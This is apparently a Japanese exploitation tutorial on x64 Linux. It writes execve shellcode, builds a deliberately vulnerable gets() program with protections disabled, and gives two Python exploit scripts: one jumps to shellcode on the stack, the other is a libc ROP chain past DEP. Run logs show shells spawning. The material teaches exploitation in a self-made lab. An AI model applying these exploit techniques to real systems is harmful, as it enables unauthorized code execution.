x64でスタックバッファオーバーフローをやってみる
Intel x64 (x86-64) 環境のもとで、スタックバッファオーバーフローによるシェルコード実行およびROPをやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
シェルコードを書いてみる
- レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
- 汎用レジスタとしてr8, r9, ..., r15が使える
- 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
- システムコール番号が変わる(execveは59)
- int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
- システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある
execve("/bin/sh", {"/bin/sh", NULL}, NULL)を実行するシェルコードを書くと次のようになる。
$ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59 __SYSCALL(__NR_execve, stub_execve) $ echo "/bin//sh" | od -tx8z 0000000 68732f2f6e69622f 000000000000000a >/bin//sh.< 0000011
/* execve.s */
.intel_syntax noprefix
.globl _start
_start:
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+59]
syscall
アセンブルし、実行できることを確認する。
$ gcc -nostdlib execve.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
$ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 31 d2 xor rdx,rdx 4000d7: 52 push rdx 4000d8: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 4000df: 2f 73 68 4000e2: 50 push rax 4000e3: 48 89 e7 mov rdi,rsp 4000e6: 52 push rdx 4000e7: 57 push rdi 4000e8: 48 89 e6 mov rsi,rsp 4000eb: 48 8d 42 3b lea rax,[rdx+0x3b] 4000ef: 0f 05 syscall
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
このシェルコードの長さは29バイトである。
脆弱性のあるプログラムを書いてみる
標準入力からスタックバッファオーバーフローが起こせるプログラムを書いてみる。
/* bof.c */
#include <stdio.h>
int main()
{
char buf[100];
setlinebuf(stdout);
printf("buf = %p\n", buf);
gets(buf);
puts(buf);
return 0;
}
ASLR、DEP、SSP無効でコンパイルし、実行できることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector -z execstack bof.c $ ./a.out buf = 0x7fffffffe5e0 AAAA AAAA
エクスプロイトコードを書いてみる
スタック上のシェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
addr_buf = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
buf = shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'A' * (8 - len(buf)%8) # alignment
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_buf)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()
このコードは、オーバーフローが起きるバッファのアドレスとサイズを順に引数に取る。
アドレス空間が64bitで表されることから、struct.packの引数にはI(32bit符号なし整数)の代わりにQ(64bit符号なし整数)を指定する。
また、シェルを起動した後はシェルコマンドにより標準入出力を端末に差し替える。
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 0x7fffffffe5e0 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\xe5\xff\xff\xff\x7f\n' $ python exploit.py 0x7fffffffe5d0 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xe5\xff\xff\xff\x7f\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
スタック上のシェルコードが実行できていることが確認できた。
ROPによるDEP回避をやってみる
次に、DEPが有効な条件下でROPによるシェル起動をやってみる。
rp++のLinux x64用バイナリをダウンロードし、libcのROP gadgetsを出力する。
$ curl -L https://github.com/downloads/0vercl0k/rp/rp-lin-x64 > rp-lin-x64 $ chmod +x rp-lin-x64 $ ./rp-lin-x64 --file=/lib/x86_64-linux-gnu/libc-2.15.so --rop=1 --unique > gadgets.txt
x64では、関数の引数はまずレジスタにセットされる。 具体的には、第一引数からrdi, rsi, rdx, rcx, r8, r9の順でセットされ(システムコールの場合と第4引数が異なることに注意)、これ以降の引数はスタックの上から順に並ぶようにセットされる。 なお、戻り値はx86と同様raxレジスタにセットされる。
上の内容に従い、libc中のsystem関数を呼び出すエクスプロイトコードを書くと次のようになる。
# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE
libc_base = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])
offset_libc_system = 0x0000000000045660 # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " system"
offset_libc_exit = 0x000000000003b970 # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " exit"
offset_libc_binsh = 0x17a111 # strings -tx /lib/x86_64-linux-gnu/libc-2.15.so | grep "/bin/sh"
offset_libc_pop_rdi = 0x000229f2 # 0x000229f2: pop rdi ; ret ; (310 found)
buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', libc_base + offset_libc_binsh)
buf += struct.pack('<Q', libc_base + offset_libc_system)
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', libc_base + offset_libc_exit)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()
DEP有効、ASLR、SSP無効でコンパイルし直し、gdbでlibcのベースアドレスを調べてみる。
$ gcc -fno-stack-protector bof.c
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x4005d8
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Temporary breakpoint 1, 0x00000000004005d8 in main ()
(gdb) i proc map
process 2974
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out
0x600000 0x601000 0x1000 0x0 /home/user/tmp/a.out
0x601000 0x602000 0x1000 0x1000 /home/user/tmp/a.out
0x7ffff7a1a000 0x7ffff7bcf000 0x1b5000 0x0 /lib/x86_64-linux-gnu/libc-2.15.so
0x7ffff7bcf000 0x7ffff7dcf000 0x200000 0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
0x7ffff7dd3000 0x7ffff7dd5000 0x2000 0x1b9000 /lib/x86_64-linux-gnu/libc-2.15.so
...
(gdb) quit
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit2.py 0x7ffff7a1a000 100 [+] read: 'buf = 0x7fffffffe5d0\n' [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf2\xc9\xa3\xf7\xff\x7f\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
DEPが有効な条件下でROPによりシェルが起動できていることが確認できた。